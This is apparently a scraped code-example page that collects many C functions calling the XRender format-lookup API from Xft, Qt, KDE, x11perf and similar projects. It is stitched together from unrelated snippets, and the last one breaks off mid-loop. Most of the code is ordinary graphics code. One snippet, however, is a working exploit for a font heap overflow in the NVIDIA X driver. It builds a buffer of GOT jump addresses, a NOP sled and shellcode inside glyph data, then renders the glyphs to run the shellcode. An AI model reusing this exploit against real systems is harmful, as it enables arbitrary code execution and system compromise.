static Picture createPicture(Pixmap pix, int depth)
{
    if (pix == None)
        return None;
    if (renderformats[ depth ] == NULL) {
        switch(depth) {
        case 1:
            renderformats[ 1 ] = XRenderFindStandardFormat(display(), PictStandardA1);
            break;
        case 8:
            renderformats[ 8 ] = XRenderFindStandardFormat(display(), PictStandardA8);
            break;
        case 24:
            renderformats[ 24 ] = XRenderFindStandardFormat(display(), PictStandardRGB24);
            break;
        case 32:
            renderformats[ 32 ] = XRenderFindStandardFormat(display(), PictStandardARGB32);
            break;
        default: {
            XRenderPictFormat req;
            long mask = PictFormatType | PictFormatDepth;
            req.type = PictTypeDirect;
            req.depth = depth;
            renderformats[ depth ] = XRenderFindFormat(display(), mask, &req, 0);
            break;
        }
        }
        if (renderformats[ depth ] == NULL) {
            kWarning(1212) << "Could not find XRender format for depth" << depth;
            return None;
        }
    }
    return XRenderCreatePicture(display(), pix, renderformats[ depth ], 0, NULL);
}
// LookReturn a pointer to |aFormat| that lives in the Xrender library.
// All code using render formats assumes it doesn't need to copy.
static XRenderPictFormat*
GetXRenderPictFormatFromId(Display* aDisplay, PictFormat aFormatId)
{
  XRenderPictFormat tmplate;
  tmplate.id = aFormatId;
  return XRenderFindFormat(aDisplay, PictFormatID, &tmplate, 0);
}
Beispiel #3
0
/** Find the appropriate format on the requested screen given the
 *  internal format requested.  The list of formats is searched
 *  sequentially as the XRenderFindFormat() function does not always
 *  find the appropriate format when a specific format is requested. */
static XRenderPictFormat *dmxFindFormat(DMXScreenInfo *dmxScreen,
					PictFormatPtr pFmt)
{
    XRenderPictFormat *pFormat = NULL;
    int                i       = 0;

    if (!pFmt || !dmxScreen->beDisplay) return pFormat;

    while (1) {
	pFormat = XRenderFindFormat(dmxScreen->beDisplay, 0, 0, i++);
	if (!pFormat) break;

	if (pFormat->type             != pFmt->type)             continue;
	if (pFormat->depth            != pFmt->depth)            continue;
	if (pFormat->direct.red       != pFmt->direct.red)       continue;
	if (pFormat->direct.redMask   != pFmt->direct.redMask)   continue;
	if (pFormat->direct.green     != pFmt->direct.green)     continue;
	if (pFormat->direct.greenMask != pFmt->direct.greenMask) continue;
	if (pFormat->direct.blue      != pFmt->direct.blue)      continue;
	if (pFormat->direct.blueMask  != pFmt->direct.blueMask)  continue;
	if (pFormat->direct.alpha     != pFmt->direct.alpha)     continue;
	if (pFormat->direct.alphaMask != pFmt->direct.alphaMask) continue;

	/* We have a match! */
	break;
    }

    return pFormat;
}
Beispiel #4
0
static XRenderPictFormat *
_XftDrawFgFormat (XftDraw	*draw)
{
    XRenderPictFormat   pf;

    if (draw->visual == 0)
    {
	pf.type = PictTypeDirect;
	pf.depth = 1;
	pf.direct.alpha = 0;
	pf.direct.alphaMask = 1;
	return XRenderFindFormat (draw->dpy,
				  (PictFormatType|
				   PictFormatDepth|
				   PictFormatAlpha|
				   PictFormatAlphaMask),
				  &pf,
				  0);
    }
    else
    {
	pf.type = PictTypeDirect;
	pf.depth = 32;
	pf.direct.redMask = 0xff;
	pf.direct.greenMask = 0xff;
	pf.direct.blueMask = 0xff;
	pf.direct.alphaMask = 0xff;
	return XRenderFindFormat (draw->dpy,
				  (PictFormatType|
				   PictFormatDepth|
				   PictFormatRedMask|
				   PictFormatGreenMask|
				   PictFormatBlueMask|
				   PictFormatAlphaMask),
				  &pf,
				  0);
    }
}
Beispiel #5
0
int backing_init(backing_t *backing, Display *dpy, Window root, int width, int height, int depth)
{
    XRenderPictFormat templ;
    int screen = DefaultScreen(dpy);
    unsigned long gcm;
    XGCValues gcv;

    backing->dpy = dpy;
    backing->root = root;
    backing->active = 0;

    gcm = 0;
    gcm |= GCSubwindowMode; gcv.subwindow_mode = IncludeInferiors;
    backing->gc = XCreateGC(backing->dpy, backing->root, gcm, &gcv);

    backing->root_pixmap = 0;
    backing->brush_pixmap = 0;
    backing->total_width = width;
    backing->total_height = height;
    backing->depth = depth;
    backing->root_pict = 0;
    backing->brush_pict = 0;

    backing->root_format = XRenderFindVisualFormat(dpy,DefaultVisual(dpy, screen));

    templ.type = PictTypeDirect;
    templ.depth = 32;
    templ.direct.alpha = 24;
    templ.direct.alphaMask = 0xff;
    templ.direct.red = 16;
    templ.direct.redMask = 0xff;
    templ.direct.green = 8;
    templ.direct.greenMask = 0xff;
    templ.direct.blue = 0;
    templ.direct.blueMask = 0xff;
    backing->brush_format = XRenderFindFormat (dpy,
					       PictFormatType|
					       PictFormatDepth|
					       PictFormatAlpha|
					       PictFormatAlphaMask|
					       PictFormatRed|
					       PictFormatRedMask|
					       PictFormatGreen|
					       PictFormatGreenMask|
					       PictFormatBlue|
					       PictFormatBlueMask,
					       &templ, 0);

    return 0;
}
XftDraw *XftDrawCreateAlpha( Display *display,
			     Pixmap pixmap,
			     int depth )
{
    // taken from Xft 1 sources, see copyright above
    XftDraw     *draw;

    draw = (XftDraw *) malloc (sizeof (XftDraw));
    if (!draw)
	return 0;
    draw->dpy = display;
    draw->drawable = pixmap;
    draw->visual = 0;
    draw->colormap = 0;
    draw->core_set = False;
    draw->clip = 0;

    // Qt addition - go ahead and create the render picture now
    draw->render_set = True;
    draw->render_able = False;

    if ( qt_use_xrender ) {
	draw->render_able = True;

	XRenderPictFormat *format = 0;
	XRenderPictFormat req;
	unsigned long mask = PictFormatType | PictFormatDepth | PictFormatAlphaMask;
	req.type = PictTypeDirect;
	req.depth = depth;
	req.direct.alphaMask = 0xff;
	format = XRenderFindFormat(draw->dpy, mask, &req, 0);
	if (format) {
	    draw->render.pict =
		XRenderCreatePicture(draw->dpy, draw->drawable, format, 0, 0);
	}

	// to keep Xft from trying to free zero pixmaps/pictures, we need to create
	// 2 more pictures (that are identical to draw->render.pict) :/
	draw->render.src[0].pict =
	    XRenderCreatePicture( draw->dpy, draw->drawable, format, 0, 0 );
	draw->render.src[1].pict =
	    XRenderCreatePicture( draw->dpy, draw->drawable, format, 0, 0 );
    }

    return draw;
}
Beispiel #7
0
static XRenderPictFormat *
_XftDrawFormat (XftDraw	*draw)
{
    if (draw->visual == 0)
    {
	XRenderPictFormat   pf;

	pf.type = PictTypeDirect;
	pf.depth = 1;
	pf.direct.alpha = 0;
	pf.direct.alphaMask = 1;
	return XRenderFindFormat (draw->dpy,
				  (PictFormatType|
				   PictFormatDepth|
				   PictFormatAlpha|
				   PictFormatAlphaMask),
				  &pf,
				  0);
    }
    else
	return XRenderFindVisualFormat (draw->dpy, draw->visual);
}
Beispiel #8
0
int
InitFixedTrapezoids(XParms xp, Parms p, int reps)
{
    int     i, numTraps;
    int     rows;
    int     x, y;
    int     size, skew;
    XTrapezoid	*curTrap;
    XRenderColor	color;

    pgc = xp->fggc;

    size = p->special;
    numTraps = p->objects;
    traps = (XTrapezoid *)malloc(numTraps * sizeof(XTrapezoid));
    curTrap = traps;
    x = size;
    y = 0;
    rows = 0;
    skew = size;
    aadraw = XftDrawCreate (xp->d, xp->w, 
			    xp->vinfo.visual, 
			    xp->cmap);
    if (p->font && !strcmp (p->font, "add"))
    {
	XRenderPictFormat   templ;
	templ.type = PictTypeDirect;
	templ.depth = 8;
	templ.direct.alpha = 0;
	templ.direct.alphaMask = 0xff;
	maskFormat = XRenderFindFormat (xp->d, 
					PictFormatType |
					PictFormatDepth |
					PictFormatAlpha |
					PictFormatAlphaMask,
					&templ,
					0);
    }
    else
	maskFormat = 0;
    color.red = 0;
    color.green = 0;
    color.blue = 0;
    color.alpha = 0xffff;
    if (!XftColorAllocValue (xp->d,
			     xp->vinfo.visual, 
			     xp->cmap,
			     &color, &aablack))
    {
	XftDrawDestroy (aadraw);
	aadraw = 0;
	return 0;
    }
    color.red = 0xffff;
    color.green = 0xffff;
    color.blue = 0xffff;
    color.alpha = 0xffff;
    if (!XftColorAllocValue (xp->d,
			     xp->vinfo.visual, 
			     xp->cmap,
			     &color, &aawhite))
    {
	XftDrawDestroy (aadraw);
	aadraw = 0;
	return 0;
    }

    for (i = 0; i != p->objects; i++, curTrap ++) {
	curTrap->top = XDoubleToFixed (y);
	curTrap->bottom = XDoubleToFixed (y + size);
	curTrap->left.p1.x = XDoubleToFixed (x - skew);
	curTrap->left.p1.y = XDoubleToFixed (y);
	curTrap->left.p2.x = XDoubleToFixed (x + skew - size);
	curTrap->left.p2.y = XDoubleToFixed (y + size);
	
	curTrap->right.p1.x = XDoubleToFixed (x - skew + size);
	curTrap->right.p1.y = XDoubleToFixed (y);
	curTrap->right.p2.x = XDoubleToFixed (x + skew);
	curTrap->right.p2.y = XDoubleToFixed (y + size);
	
	skew--;
	if (skew < 0) skew = size;

	y += size;
	rows++;
	if (y + size > HEIGHT || rows == MAXROWS) {
	    rows = 0;
	    y = 0;
	    x += 2 * size;
	    if (x + size > WIDTH) {
		x = size;
	    }
	}
    }

    
    SetFillStyle(xp, p);
    return reps;
}
Beispiel #9
0
void X11EmbedContainer::setBackgroundPixmap(QPixmap background)
{
    if (!clientWinId()) {
        return;
    }

    Display *display = QX11Info::display();
    Pixmap bg = XCreatePixmap(display, clientWinId(), width(), height(), d->attr.depth);

    XRenderPictFormat *format = XRenderFindVisualFormat(display, d->attr.visual);
    Picture picture = XRenderCreatePicture(display, bg, format, 0, 0);

    //Prevent updating the background-image if possible. Updating can cause a very annoying flicker due to the XClearArea, and thus has to be kept to a minimum
    QImage image;
    if (background.paintEngine()->type() != QPaintEngine::X11)
      image = background.toImage(); // With the raster graphics system this call just returns the backing image, so the image data isn't copied.
    else
      image = background.copy().toImage(); //With the X11 graphics engine, we have to create a copy first, else we get a crash

    if(d->oldBackgroundImage == image) {
      XFreePixmap(display, bg);
      XRenderFreePicture(display, picture);
      return;
    }
    d->oldBackgroundImage = image;

    if (background.paintEngine()->type() != QPaintEngine::X11) {

        XRenderPictFormat *format = 0;
        int depth = 0;
        int bpp = 0;

        if (image.format() == QImage::Format_ARGB32_Premultiplied) {
            format = XRenderFindStandardFormat(display, PictStandardARGB32);
            depth = 32;
            bpp = 32;
        } else if (image.format() == QImage::Format_RGB32) {
            format = XRenderFindStandardFormat(display, PictStandardRGB24);
            depth = 24;
            bpp = 32;
        } else if (image.format() == QImage::Format_RGB16) {
            bpp = 16;
            depth = 16;

            // Try to find a picture format that matches the image format.
            // The Render spec doesn't require the X server to support 16bpp formats,
            // so this call can fail.
            XRenderPictFormat templ;
            templ.type             = PictTypeDirect;
            templ.direct.alpha     = 0;
            templ.direct.alphaMask = 0;
            templ.depth            = 16;
            templ.direct.red       = 11;
            templ.direct.redMask   = 0x1f;
            templ.direct.green     = 5;
            templ.direct.greenMask = 0x3f;
            templ.direct.blue      = 0;
            templ.direct.blueMask  = 0x1f;
            format = XRenderFindFormat(display, PictFormatType | PictFormatDepth | PictFormatAlpha |
                                       PictFormatAlphaMask | PictFormatRed | PictFormatRedMask |
                                       PictFormatGreen | PictFormatGreenMask | PictFormatBlue |
                                       PictFormatBlueMask, &templ, 0);
        }

        if (format == 0)
        {
            // Convert the image to a standard format.
            if (image.hasAlphaChannel()) {
                image = image.convertToFormat(QImage::Format_ARGB32_Premultiplied);
                format = XRenderFindStandardFormat(display, PictStandardARGB32);
                depth = 32;
            } else { 
                image = image.convertToFormat(QImage::Format_RGB32);
                format = XRenderFindStandardFormat(display, PictStandardRGB24);
                depth = 24;
            }
            bpp = 32;
        }

        if (image.format() == QImage::Format_RGB32) {
            // Make sure the would be alpha bits are set to 1.
            quint32 * const pixels = (quint32*)(const_cast<const QImage*>(&image)->bits());
            for (int i = 0; i < image.width() * image.height(); i++) {
                pixels[i] |= 0xff000000;
            }
        }

        Q_ASSERT(format != 0);

        // Get the image data into a pixmap
        XImage ximage;
        ximage.width            = image.width(); 
        ximage.height           = image.height();
        ximage.xoffset          = 0; 
        ximage.format           = ZPixmap;
        // This is a hack to prevent the image data from detaching
        ximage.data             = (char*) const_cast<const QImage*>(&image)->bits();
#if Q_BYTE_ORDER == Q_BIG_ENDIAN
        ximage.byte_order       = MSBFirst;
#else
        ximage.byte_order       = LSBFirst;
#endif
        ximage.bitmap_unit      = bpp;
        ximage.bitmap_bit_order = ximage.byte_order;
        ximage.bitmap_pad       = bpp;
        ximage.depth            = depth;
        ximage.bytes_per_line   = image.bytesPerLine();
        ximage.bits_per_pixel   = bpp;
        if (depth > 16) {
            ximage.red_mask     = 0x00ff0000;
            ximage.green_mask   = 0x0000ff00;
            ximage.blue_mask    = 0x000000ff;
        } else {
            // r5g6b5
            ximage.red_mask     = 0xf800;
            ximage.green_mask   = 0x07e0;
            ximage.blue_mask    = 0x001f;
        }
        ximage.obdata           = 0;
        if (XInitImage(&ximage) == 0) {
            XRenderFreePicture(display, picture);
            XFreePixmap(display, bg);
            return;
        }

        Pixmap pm = XCreatePixmap(display, clientWinId(), width(), height(), ximage.depth);
        GC gc = XCreateGC(display, pm, 0, 0);
        XPutImage(display, pm, gc, &ximage, 0, 0, 0, 0, width(), height());
        XFreeGC(display, gc);

        Picture pict = XRenderCreatePicture(display, pm, format, 0, 0);
        XRenderComposite(display, PictOpSrc, pict, None, picture,
                         0, 0, 0, 0, 0, 0, width(), height());
        XRenderFreePicture(display, pict);
        XFreePixmap(display, pm);
    } else {
        XRenderComposite(display, PictOpSrc, background.x11PictureHandle(),
                         None, picture, 0, 0, 0, 0, 0, 0, width(), height());
    }

    XSetWindowBackgroundPixmap(display, clientWinId(), bg);

    XRenderFreePicture(display, picture);
    XFreePixmap(display, bg);

    XClearArea(display, clientWinId(), 0, 0, 0, 0, True);
}
Beispiel #10
0
_X_HIDDEN XftDisplayInfo *
_XftDisplayInfoGet (Display *dpy, FcBool createIfNecessary)
{
    XftDisplayInfo	*info, **prev;
    XRenderPictFormat	pf;
    int			i;
    int			event_base, error_base;

    for (prev = &_XftDisplayInfo; (info = *prev); prev = &(*prev)->next)
    {
	if (info->display == dpy)
	{
	    /*
	     * MRU the list
	     */
	    if (prev != &_XftDisplayInfo)
	    {
		*prev = info->next;
		info->next = _XftDisplayInfo;
		_XftDisplayInfo = info;
	    }
	    return info;
	}
    }
    if (!createIfNecessary)
	return NULL;

    info = (XftDisplayInfo *) malloc (sizeof (XftDisplayInfo));
    if (!info)
	goto bail0;
    info->codes = XAddExtension (dpy);
    if (!info->codes)
	goto bail1;
    (void) XESetCloseDisplay (dpy, info->codes->extension, _XftCloseDisplay);

    info->display = dpy;
    info->defaults = NULL;
    info->solidFormat = NULL;
    info->hasRender = (XRenderQueryExtension (dpy, &event_base, &error_base) &&
		       (XRenderFindVisualFormat (dpy, DefaultVisual (dpy, DefaultScreen (dpy))) != NULL));
    info->use_free_glyphs = FcTrue;
    if (info->hasRender)
    {
	int major, minor;
	XRenderQueryVersion (dpy, &major, &minor);
	if (major < 0 || (major == 0 && minor <= 2))
	    info->use_free_glyphs = FcFalse;

	pf.type = PictTypeDirect;
	pf.depth = 32;
	pf.direct.redMask = 0xff;
	pf.direct.greenMask = 0xff;
	pf.direct.blueMask = 0xff;
	pf.direct.alphaMask = 0xff;
	info->solidFormat = XRenderFindFormat (dpy,
					       (PictFormatType|
						PictFormatDepth|
						PictFormatRedMask|
						PictFormatGreenMask|
						PictFormatBlueMask|
						PictFormatAlphaMask),
					       &pf,
					       0);
    }
    if (XftDebug () & XFT_DBG_RENDER)
    {
	Visual		    *visual = DefaultVisual (dpy, DefaultScreen (dpy));
	XRenderPictFormat   *format = XRenderFindVisualFormat (dpy, visual);

	printf ("XftDisplayInfoGet Default visual 0x%x ",
		(int) visual->visualid);
	if (format)
	{
	    if (format->type == PictTypeDirect)
	    {
		printf ("format %d,%d,%d,%d\n",
			format->direct.alpha,
			format->direct.red,
			format->direct.green,
			format->direct.blue);
	    }
	    else
	    {
		printf ("format indexed\n");
	    }
	}
	else
	    printf ("No Render format for default visual\n");

	printf ("XftDisplayInfoGet initialized, hasRender set to \"%s\"\n",
		info->hasRender ? "True" : "False");
    }
    for (i = 0; i < XFT_NUM_SOLID_COLOR; i++)
    {
	info->colors[i].screen = -1;
	info->colors[i].pict = 0;
    }
    info->fonts = NULL;

    info->next = _XftDisplayInfo;
    _XftDisplayInfo = info;

    info->glyph_memory = 0;
    info->max_glyph_memory = XftDefaultGetInteger (dpy,
						   XFT_MAX_GLYPH_MEMORY, 0,
						   XFT_DPY_MAX_GLYPH_MEMORY);
    if (XftDebug () & XFT_DBG_CACHE)
	printf ("global max cache memory %ld\n", info->max_glyph_memory);


    info->num_unref_fonts = 0;
    info->max_unref_fonts = XftDefaultGetInteger (dpy,
						  XFT_MAX_UNREF_FONTS, 0,
						  XFT_DPY_MAX_UNREF_FONTS);
    if (XftDebug() & XFT_DBG_CACHE)
	printf ("global max unref fonts %d\n", info->max_unref_fonts);

    memset (info->fontHash, '\0', sizeof (XftFont *) * XFT_NUM_FONT_HASH);
    return info;

bail1:
    free (info);
bail0:
    if (XftDebug () & XFT_DBG_RENDER)
    {
	printf ("XftDisplayInfoGet failed to initialize, Xft unhappy\n");
    }
    return NULL;
}
Beispiel #11
0
int
main(int argc, char *argv[])
{
    Display *display;
    Widget toplevel;
    XtAppContext app_con;
    XEvent event;
    char c, *string;
    unsigned int i;
    XDataStr *data;
    XExposeEvent *expose = (XExposeEvent *)&event;
    unsigned int heapaddr, gotaddr;

    if (argc > 2)
    {
        heapaddr = strtoul(argv[1],NULL,0);
        gotaddr  = strtoul(argv[2],NULL,0);
    }
    else
    {
        printf("Usage: %s <HEAPADDR> <GOTADDR>\n\n", argv[0]);
        return 0;
    }

    toplevel = XtAppInitialize(&app_con, "XSafe", NULL, 0,
            &argc, argv, NULL, NULL, 0);
    display = XtDisplay(toplevel);

    data = (XDataStr *)malloc(sizeof(XDataStr));
    if (data == NULL) {
        perror("malloc");
        exit(EXIT_FAILURE);
    }

    data->display = display;
    data->app = app_con;

    if (createWin(data) < 0) {
        fprintf(stderr, "can't create Data Window");
        exit(EXIT_FAILURE);
    }
    show(data);

    signal(SIGINT, sigHandler);
    signal(SIGHUP, sigHandler);
    signal(SIGQUIT, sigHandler);
    signal(SIGTERM, sigHandler);

    /************************************************************************
     * BEGIN FONT HEAP OVERFLOW SETUP CODE
     *
     * "It's so hard to write a graphics driver that open-sourcing it would
     *  not help."
     *    - Andrew Fear, Software Product Manager (NVIDIA Corporation).
     **********************************************************************/
    XGlyphInfo * glyphs;
    XRenderPictFormat fmt;
    XRenderPictFormat *mask = 0;
    GlyphSet gset;
    char * buf =0;
    int offset, cr, numB;
    int xscreenpos  = 32680;
    int magic_len   = 32768 - xscreenpos;
    int wr_addr_len = 3548;
    int wr_nop_len  = 200;

    /* Calculate the offset to the Global Offset Table.
     * 0x2C0000 is the size of the buffer the NVIDIA driver
     * allocates for us when it is about to draw.
     */
    offset = gotaddr-(heapaddr-0x2C0000);
    offset += magic_len;
    glyphs = malloc(sizeof(XGlyphInfo)*3);

    /* Payload glyph */
    glyphs[0].width = 0x4000; /* One contiguous buffer of 16K... way more than necessary */
    glyphs[0].height = 1;
    glyphs[0].yOff = 0;
    glyphs[0].xOff = glyphs[0].width;
    glyphs[0].x = 0;
    glyphs[0].y = 0;

    /* Large offset glyph (untweaked) */
    glyphs[1].width=0;
    glyphs[1].height=0;
    glyphs[1].yOff=32767;
    glyphs[1].xOff=0;
    glyphs[1].x = 0;
    glyphs[1].y = 0;

    /* Small offset glyph (tweaked) */
    glyphs[2].width=0;
    glyphs[2].height=0;
    glyphs[2].yOff=0;
    glyphs[2].xOff=0;
    glyphs[2].x = 0;
    glyphs[2].y = 0;

    fmt.type = PictTypeDirect;
    fmt.depth = 8;

    Glyph * xglyphids = malloc(3*sizeof(Glyph));

    xglyphids[0] = 'A';
    xglyphids[1] = 'B';
    xglyphids[2] = 'C';

    int stride = ((glyphs[0].width*1)+3)&~3; /* Needs to be DWORD aligned */
    int bufsize = stride*glyphs[0].height;
    buf = malloc(bufsize);

    /* Write jump address to the buffer a number of times */
    for (cr=0; cr<wr_addr_len; cr+=4)
    {
       *((unsigned int*)((unsigned char*)buf + cr)) = gotaddr+wr_addr_len+4;
    }

    /* Write the NOP instructions until wr_nop_len */
    memset(buf+wr_addr_len, 0x90 /* NOP */, wr_nop_len);

    /* Write the shellcode */
    cr+=wr_nop_len;
    memcpy(buf+cr, shellcode, sizeof(shellcode));

    /* Calculate the number of B's required to send */
    numB = offset / (glyphs[1].yOff * magic_len);

    /* We send only one C, but we change its yOff value according to
     * how much space we have left before we meet the correct index length */
    glyphs[2].yOff = (offset - (numB * glyphs[1].yOff * magic_len)) / (magic_len);

    /* Now create a new buffer for the string data */
    string = malloc(numB+1/*numC*/+1/*numA*/+1/*NULL*/);
    for (cr=0; cr<numB; cr++)   string[cr] = 'B';
                                string[cr] = 'C'; cr++;
                                string[cr] = 'A'; cr++;
                                string[cr] =  0;

    mask = XRenderFindFormat(display, PictFormatType|PictFormatDepth, &fmt, 0);
    gset = XRenderCreateGlyphSet(display, mask);

    if (mask)
    {
        /* Ask the server to tie the glyphs to the glyphset we created,
         * with our addr/nopslide/shellcode buffer as the alpha data.
         */
        XRenderAddGlyphs(display, gset, xglyphids, glyphs, 3, buf, bufsize);
    }
    /* END FONT HEAP OVERFLOW SETUP CODE */

    done = 0;
    while (!done) {
        XNextEvent(display, &event);
        switch(event.type) {
            case KeyPress:
                i = XLookupString(&event.xkey, &c, 1, NULL, NULL);
                if ((i == 1) && ((c == 'q') || (c == 'Q'))) {
                    done = 1;
                }
                break;
            case Expose:
                XftDrawRect(data->draw, &data->bg,
                        expose->x, expose->y,
                        expose->width, expose->height);
                /* Send malignant glyphs and execute shellcode on target */
                XRenderCompositeString8(display, PictOpOver,
                        XftDrawSrcPicture(data->draw, &data->color),
                        XftDrawPicture(data->draw), mask, gset,
                        0, 0, xscreenpos, 0, string, strlen(string));
                break;
        }
    }

    free(glyphs);
    free(xglyphids);
    free(buf);
    free(string);

    XFlush(display);
    XUnmapWindow(data->display, data->win);
    XUngrabKeyboard(data->display, CurrentTime);
    XCloseDisplay(display);
    exit(EXIT_SUCCESS);
}
int main (int argc, char* argv[])
{
	/* Determine number of iterations. */
	if (2 != argc)
	{
		printf("usage: %s <num-iterations>\n", argv[0]);
		exit(1);
	}
	int numIterations = atoi(argv[1]);

	int returnCode = 0;
	Display* xDisplay = NULL;
	Window xWindow = 0;
	Picture xPictureWindow = 0;
	Pixmap xPixmapMain = 0;
	Picture xPictureMain = 0;
	Pixmap xPixmapOverlay = 0;
	Picture xPictureOverlay = 0;
	Pixmap xPixmapMask = 0;
	Picture xPictureMask = 0;
	GC gcMask = 0;

	/* Access X display. */
	if (NULL == (xDisplay = XOpenDisplay(NULL)))
	{
		printf("XOpenDisplay(NULL) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Access info about the screen. */
	Screen* xScreen = XDefaultScreenOfDisplay(xDisplay);
	GC gc = XDefaultGCOfScreen(xScreen);
	Colormap xColormap = XDefaultColormapOfScreen(xScreen);

	/* Create main X window */
	xWindow = XCreateSimpleWindow(
			xDisplay,
			RootWindow(xDisplay, 0),
			0, 0,
			IMAGE_WIDTH*2,
			IMAGE_HEIGHT*2,
			0,
			BlackPixel(xDisplay, 0),
			BlackPixel(xDisplay, 0));
	if (0 == xWindow)
	{
		printf("XCreateSimpleWindow failed\n");
		returnCode = 1;
		goto error;
	}
	XMapWindow(xDisplay, xWindow);
	XSync(xDisplay, False);

	/* Get the attributes associated with the main window. */
	XWindowAttributes xWindowAttr;
	if (!XGetWindowAttributes(xDisplay, xWindow, &xWindowAttr))
	{
		printf("XGetWindowAttributes failed\n");
		returnCode = 1;
		goto error;
	}

	/* Find the X render picture format associated with the visual */
	/* for the main window */
	XRenderPictFormat* xRenderPictFormatWindow =
		XRenderFindVisualFormat(xDisplay, xWindowAttr.visual);
	if (NULL == xRenderPictFormatWindow)
	{
		printf("XRenderFindVisualFormat failed\n");
		returnCode = 1;
		goto error;
	}

	/* Find the X render picture format associated with 8 bit alpha. */
	XRenderPictFormat xRenderPictFormatTemplate;
	xRenderPictFormatTemplate.depth = 8;
	xRenderPictFormatTemplate.type = PictTypeDirect;
	xRenderPictFormatTemplate.direct.alphaMask = 0x0FF;
	unsigned long xRenderPictFormatTemplateMask =
			PictFormatDepth | PictFormatType | PictFormatAlphaMask;
	XRenderPictFormat* xRenderPictFormatMask =
		XRenderFindFormat(
			xDisplay,
			xRenderPictFormatTemplateMask,
			&xRenderPictFormatTemplate,
			0);
	if (NULL == xRenderPictFormatMask)
	{
		printf("XRenderFindFormat failed\n");
		returnCode = 1;
		goto error;
	}

	/* Create X render picture associated with the screen. */
	/* Having the same visual format as the window. */
	xPictureWindow = XRenderCreatePicture(
				xDisplay,
				xWindow,
				xRenderPictFormatWindow,
				0,
				NULL);
	if (0 == xPictureWindow)
	{
		printf("XRenderCreatePicture (window) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Create backing pixmap for the main window. */
	xPixmapMain = XCreatePixmap(
			xDisplay,
			xWindow,
			xWindowAttr.width,
			xWindowAttr.height,
			xWindowAttr.depth);
	if (0 == xPixmapMain)
	{
		printf("XCreatePixmap (main) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Create X render picture associated with the backing pixmap. */
	/* Having the same visual format as the window. */
	xPictureMain = XRenderCreatePicture(
			xDisplay,
			xPixmapMain,
			xRenderPictFormatWindow,
			0,
			NULL);
	if (0 == xPictureMain)
	{
		printf("XRenderCreatePicture (main) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Draw concentric rectangles of different gray. */
	unsigned i;
	for (i = 0; i < 256; ++i)
	{
		float fGray = i / 255.0;

		/* Find the color gray. */
		XcmsColor xColorGray;
		xColorGray.spec.RGBi.red = fGray;
		xColorGray.spec.RGBi.green = fGray;
		xColorGray.spec.RGBi.blue = fGray;
		xColorGray.format = XcmsRGBiFormat;
		if (0 == XcmsAllocColor(
				xDisplay,
				xColormap,
				&xColorGray,
				XcmsRGBFormat))
		{
			printf("XcmsAllocColor failed\n");
			returnCode = 1;
			goto error;
		}

		/* Change the drawing color for the main window. */
		XSetForeground(xDisplay, gc, xColorGray.pixel);

		XDrawRectangle(
			xDisplay,
			xPixmapMain,
			gc,
			i, i,
			(IMAGE_WIDTH - i) * 2 - 1,
			(IMAGE_HEIGHT - i) * 2 - 1);
	}
	XRenderComposite(
		xDisplay,
		PictOpSrc,
		xPictureMain,	/* src */
		0,		/* mask */
		xPictureWindow,	/* dst */
		0, 0,		/* src (x,y) */
		0, 0,		/* mask (x,y) */
		0, 0,		/* dst (x,y) */
		xWindowAttr.width,
		xWindowAttr.height);
	XSync(xDisplay, False);

	/* Create pixmap for the overlay content. */
	xPixmapOverlay = XCreatePixmap(
				xDisplay,
				xWindow,
				IMAGE_WIDTH,
				IMAGE_HEIGHT,
				xWindowAttr.depth);
	if (0 == xPixmapOverlay)
	{
		printf("XCreatePixmap (overlay) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Create X render picture assocaited with the overlay pixmap. */
	/* Having the same visual format as the window. */
	xPictureOverlay = XRenderCreatePicture(
				xDisplay,
				xPixmapOverlay,
				xRenderPictFormatWindow,
				0,
				NULL);
	if (0 == xPictureOverlay)
	{
		printf("XRenderCreatePicture (overlay) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Fill the overlay with black to be used for overlay color. */
	XSetForeground(xDisplay, gc, XBlackPixelOfScreen(xScreen));
	XFillRectangle(
		xDisplay,
		xPixmapOverlay,
		gc,
		0, 0,
		IMAGE_WIDTH,
		IMAGE_HEIGHT);

	/* Create pixmap for the mask content. */
	xPixmapMask = XCreatePixmap(
				xDisplay,
				xWindow,
				IMAGE_WIDTH,
				IMAGE_HEIGHT,
				8);
	if (0 == xPixmapMask)
	{
		printf("XCreatePixmap (mask) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Create X render picture assocaited with the mask pixmap. */
	xPictureMask = XRenderCreatePicture(
				xDisplay,
				xPixmapMask,
				xRenderPictFormatMask,
				0,
				NULL);
	if (0 == xPictureMask)
	{
		printf("XRenderCreatePicture (mask) failed\n");
		returnCode = 1;
		goto error;
	}

	/* Create a GC to go with mask */
	gcMask = XCreateGC(xDisplay, xPixmapMask, 0, NULL);
	XSetForeground(xDisplay, gcMask, 0x00000000);
	XFillRectangle(
		xDisplay,
		xPixmapMask,
		gcMask,
		0, 0,
		IMAGE_WIDTH,
		IMAGE_HEIGHT);
	XSetForeground(xDisplay, gcMask, 0x40404040);
	XDrawRectangle(
		xDisplay,
		xPixmapMask,
		gcMask,
		0, 0,
		IMAGE_WIDTH-1,
		IMAGE_HEIGHT-1);
	XFillArc(
		xDisplay,
		xPixmapMask,
		gcMask,
		100, 100,
		100, 100,
		0,		/* start angle-degrees * 64 */
		360 * 64);	/* extent angle-degrees * 64 */

	Bool bIncX = True;
	Bool bIncY = True;
	Bool bNextRow = False;
	int x = 0;
	int y = 0;
	struct timeval timeStart;
	gettimeofday(&timeStart, NULL);
	int iter;
	for (iter = 0; iter < numIterations; ++iter)
	{
		XRenderComposite(
			xDisplay,
			PictOpSrc,
			xPictureMain,	/* src */
			0,		/* mask */
			xPictureWindow,	/* dst */
			x, y,		/* src (x,y) */
			0, 0,		/* mask (x,y) */
			x,		/* dst x */
			y,		/* dst y */
			IMAGE_WIDTH,
			IMAGE_HEIGHT);

		if (bNextRow)
		{
			if (bIncY)
			{
				if ((y += 10) >= IMAGE_HEIGHT)
				{
					y = IMAGE_HEIGHT - 1;
					bIncY = False;
				}
			}
			else
			{
				if ((y -= 10) < 0)
				{
					y = 0;
					bIncY = True;
				}
			}

			bNextRow = False;
		}
		else
		{
			if (bIncX)
			{
				if (++x >= IMAGE_WIDTH)
				{
					x = IMAGE_WIDTH - 1;
					bIncX = False;
					bNextRow = True;
				}
			}
			else
			{
				if (--x < 0)
				{
					x = 0;
					bIncX = True;
					bNextRow = True;
				}
			}
		}

